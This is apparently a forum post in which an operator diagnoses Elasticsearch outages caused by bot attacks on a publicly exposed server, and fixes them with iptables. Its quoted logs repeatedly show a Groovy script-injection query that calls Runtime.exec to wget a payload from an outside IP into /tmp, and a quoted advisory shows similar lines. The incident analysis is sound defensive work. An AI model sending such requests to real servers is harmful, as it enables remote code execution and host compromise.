org.elasticsearch.search.SearchParseException: [events][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
at org.elasticsearch.search.action.SearchServiceTransportAction.call(SearchServiceTransportAction.java:231)
at org.elasticsearch.search.action.SearchServiceTransportAction.call(SearchServiceTransportAction.java:228)
at org.elasticsearch.search.action.SearchServiceTransportAction.run(SearchServiceTransportAction.java:559)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script461.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
ll){sb.append(str);sb.append("
^
1 error
]
at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
... 9 more
[2015-04-30 05:05:59,807][DEBUG][action.search.type ] [Saint Anna] [events][2], node[Oq7k-P26RoabKCjZ_YmlIw], [R], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][2]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script461.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
ll){sb.append(str);sb.append("
^
1 error
]
at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
... 9 more
[2015-04-30 05:05:59,809][DEBUG][action.search.type ] [Saint Anna] [events][4], node[eExNWov7SluNvzvydS_BTQ], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238]
org.elasticsearch.search.SearchParseException: [events][4]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
at org.elasticsearch.search.action.SearchServiceTransportAction.call(SearchServiceTransportAction.java:231)
at org.elasticsearch.search.action.SearchServiceTransportAction.call(SearchServiceTransportAction.java:228)
at org.elasticsearch.search.action.SearchServiceTransportAction.run(SearchServiceTransportAction.java:559)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script462.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
ll){sb.append(str);sb.append("
^
1 error
]
at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
... 9 more
[2015-04-30 05:05:59,811][DEBUG][action.search.type ] [Saint Anna] All shards failed for phase: [query]
显然下面这些日志发生得更早，并且在某个时候发生了这种情况：
[2015-04-30 05:05:59,811][DEBUG][action.search.type ] [Saint Anna] All shards failed for phase: [query]
在那之后，直到重新启动之前都没有任何效果。
Current Logs
[2015-04-30 08:14:02,174][DEBUG][action.search.type ] [Saint Anna] [4496] Failed to execute fetch phase
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/fetch/id]]
Caused by: org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/wie.bia": error=2, No such file or directory]; nested: IOException[error=2, No such file or directory];
at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:253)
at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74)
at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211)
at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:481)
at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:868)
at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:862)
at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
[2015-04-30 08:14:03,021][DEBUG][action.search.type ] [Saint Anna] [4512] Failed to execute fetch phase
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/fetch/id]]
Caused by: org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/wie.bia": error=2, No such file or directory]; nested: IOException[error=2, No such file or directory];
at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:253)
at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74)
at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211)
at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:481)
at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:868)
at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:862)
at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Really bad solution to the problem
启动并运行返回的唯一方法是重新启动。
这个问题在我们以前的主机上就已经出现了。
我们必须每三天重新启动一次弹性搜索， 但它一直在变得更糟，直到我们不得不每小时重新启动一次。
我正在努力避免这种情况，有什么建议吗？
问题已解决：
tl;dr:
原因： 对我们不安全的服务器的机器人攻击。
根据 elasticsearch 发表的一篇文章：
https://www.elastic.co/blog/scripting-security/
1. Don’t run Elasticsearch open to the public
采取的行动： 我们将 iptables 规则添加到我们的 puppet 服务器以应用我们所有的 elasticsearch 服务器。
我们犯了那个错误，不幸的是我们付出了代价。 我们回来了 运行 现在。
Investigation - Longer Part
嗯，根据日志，我发现了一些非常可疑的东西
[2015-04-30 05:05:59,808][DEBUG][action.search.type ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
我会 trim 主要部分：
exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")
这是机器人黑客的形式，因为我们没有叫 xiao 的人，或者我们的服务器不在中国（根据 GEO-IP），我们怀疑这一行。
根据上述文章：
We have recently seen malicious users taking advantage of publicly available Elasticsearch servers to gain access to the host systems. There are a few ways to monitor to see if you have been affected by this security breach.
The most recent attack is generating Elasticsearch logs similar to the following:
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.
You should also monitor for abnormal system load and perform a thorough audit of your system.
Make sure that if you detect any exploited system that you take the steps described above to secure your Elasticsearch nodes once you have removed or re-installed the affected systems.
黑客应用了一些恶意查询，导致我们的 elasticsearch 停止运行。
我们重新启动了服务器并添加了 Iptables，然后我们又恢复了业务。